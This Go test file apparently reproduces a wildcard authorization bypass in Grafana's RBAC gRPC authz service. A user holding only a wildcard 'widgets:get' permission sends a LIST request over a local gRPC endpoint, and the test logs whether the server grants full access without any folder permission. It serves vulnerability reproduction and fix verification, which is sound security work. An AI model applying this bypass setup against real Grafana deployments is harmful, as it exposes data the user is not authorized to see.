package rbac

import (
	"context"
	"net"
	"strings"
	"testing"
	"time"

	"github.com/go-jose/go-jose/v4/jwt"
	"github.com/stretchr/testify/assert"
	"github.com/stretchr/testify/require"
	"google.golang.org/grpc"
	"google.golang.org/grpc/codes"
	"google.golang.org/grpc/credentials/insecure"
	"google.golang.org/grpc/metadata"
	"google.golang.org/grpc/status"

	"github.com/grafana/authlib/authn"
	authzv1 "github.com/grafana/authlib/authz/proto/v1"
	types "github.com/grafana/authlib/types"
	"github.com/grafana/grafana/pkg/services/accesscontrol"
	"github.com/grafana/grafana/pkg/services/authz/rbac/store"
)

// TestReproWildcardBypassOverGRPCBoundary starts an actual TCP gRPC AuthzService
// endpoint, registers Grafana's real rbac.Service as the AuthzService server,
// sends the attacker-controlled LIST request over that gRPC boundary, and logs
// both the client request and server-side response. It intentionally does not
// assert on resp.All so the same test binary passes on both vulnerable and
// fixed commits; reproduction_steps.sh compares the logged response values.
func TestReproWildcardBypassOverGRPCBoundary(t *testing.T) {
	const group = "widget.ext.grafana.app"
	const token = "pruva-demo-access-token"

	s := setupService()
	userID := &store.UserIdentifiers{UID: "test-uid", ID: 1}

	// User has ONLY wildcard resource permission for the folder-scoped CRD and
	// no folders:read or folder-scoped permission. The server-side folder list
	// contains a folder to prove that missing folder authorization matters.
	fStore := &fakeStore{
		userID: userID,
		userPermissions: []accesscontrol.Permission{
			{Action: group + "/widgets:get", Scope: "*", Kind: "*"},
		},
		folders:        []store.Folder{{UID: "f1"}},
		disableNsCheck: true,
	}
	s.store = fStore
	s.permissionStore = fStore
	s.folderStore = fStore
	s.identityStore = &fakeIdentityStore{disableNsCheck: true}
	s.folderCache.Set(context.Background(), folderCacheKey("org-12"), newFolderTree([]store.Folder{{UID: "f1"}}))

	_, mapperFound := s.mapper.Get(group, "widgets", "")
	t.Logf("SETUP: mapper.Get(%q,%q,%q) found=%v (false means folder-scoped CRD mapper miss)", group, "widgets", "", mapperFound)
	assert.False(t, mapperFound, "widget.ext.grafana.app/widgets must be a mapper-miss folder-scoped CRD")

	listener, err := net.Listen("tcp", "127.0.0.1:0")
	require.NoError(t, err)
	serverAddr := listener.Addr().String()

	callingService := authn.NewAccessTokenAuthInfo(authn.Claims[authn.AccessTokenClaims]{
		Claims: jwt.Claims{
			Subject:  types.NewTypeID(types.TypeAccessPolicy, "authz-caller-service"),
			Audience: []string{"authzservice"},
		},
		Rest: authn.AccessTokenClaims{Namespace: "org-12"},
	})

	unaryInterceptor := func(ctx context.Context, req any, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (any, error) {
		md, _ := metadata.FromIncomingContext(ctx)
		tokens := md.Get("x-access-token")
		if len(tokens) != 1 || tokens[0] != token {
			t.Logf("SERVER: rejected method=%s because x-access-token metadata was missing or wrong: %q", info.FullMethod, tokens)
			return nil, status.Error(codes.Unauthenticated, "missing demo auth token")
		}
		if lr, ok := req.(*authzv1.ListRequest); ok {
			t.Logf("SERVER: accepted gRPC method=%s namespace=%s subject=%s group=%s resource=%s verb=%s token_prefix=%s", info.FullMethod, lr.Namespace, lr.Subject, lr.Group, lr.Resource, lr.Verb, tokens[0][:5])
		} else {
			t.Logf("SERVER: accepted gRPC method=%s request_type=%T", info.FullMethod, req)
		}

		// Mirror Grafana's authz service setup: the server-side interceptor places
		// the authenticated caller's namespace-bearing AuthInfo into the context
		// before rbac.Service.List validates the namespace and authorizes the LIST.
		ctx = types.WithAuthInfo(ctx, callingService)
		resp, hErr := handler(ctx, req)
		if listResp, ok := resp.(*authzv1.ListResponse); ok {
			t.Logf("SERVER: completed gRPC method=%s response All=%v Folders=%v Items=%v err=%v", info.FullMethod, listResp.All, listResp.Folders, listResp.Items, hErr)
		} else {
			t.Logf("SERVER: completed gRPC method=%s response_type=%T err=%v", info.FullMethod, resp, hErr)
		}
		return resp, hErr
	}

	grpcServer := grpc.NewServer(grpc.UnaryInterceptor(unaryInterceptor))
	authzv1.RegisterAuthzServiceServer(grpcServer, s)
	serveErr := make(chan error, 1)
	go func() {
		t.Logf("SERVER: Grafana AuthzService gRPC endpoint listening on %s", serverAddr)
		serveErr <- grpcServer.Serve(listener)
	}()
	defer grpcServer.Stop()

	require.Eventually(t, func() bool {
		conn, err := net.DialTimeout("tcp", serverAddr, 100*time.Millisecond)
		if err == nil {
			_ = conn.Close()
			return true
		}
		return false
	}, 5*time.Second, 50*time.Millisecond)
	t.Logf("HEALTHCHECK: TCP connection to Grafana AuthzService endpoint %s succeeded", serverAddr)

	ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
	defer cancel()
	conn, err := grpc.DialContext(ctx, serverAddr, grpc.WithTransportCredentials(insecure.NewCredentials()), grpc.WithBlock())
	require.NoError(t, err)
	defer conn.Close()
	client := authzv1.NewAuthzServiceClient(conn)

	listReq := &authzv1.ListRequest{
		Namespace: "org-12",
		Subject:   "user:test-uid",
		Group:     group,
		Resource:  "widgets",
		Verb:      "list",
	}
	clientCtx := metadata.AppendToOutgoingContext(ctx, "x-access-token", token)
	t.Logf("CLIENT: sending LIST over gRPC /authz.v1.AuthzService/List namespace=%s subject=%s group=%s resource=%s verb=%s permission=%s scope=* no_folder_permission=true", listReq.Namespace, listReq.Subject, listReq.Group, listReq.Resource, listReq.Verb, group+"/widgets:get")
	resp, err := client.List(clientCtx, listReq)
	require.NoError(t, err)
	t.Logf("CLIENT: received ListResponse: All=%v Folders=%v Items=%v", resp.All, resp.Folders, resp.Items)

	select {
	case err := <-serveErr:
		if err != nil && !strings.Contains(err.Error(), "use of closed network connection") && !strings.Contains(err.Error(), "Server.Stop") {
			t.Fatalf("gRPC server stopped unexpectedly: %v", err)
		}
	default:
	}
}
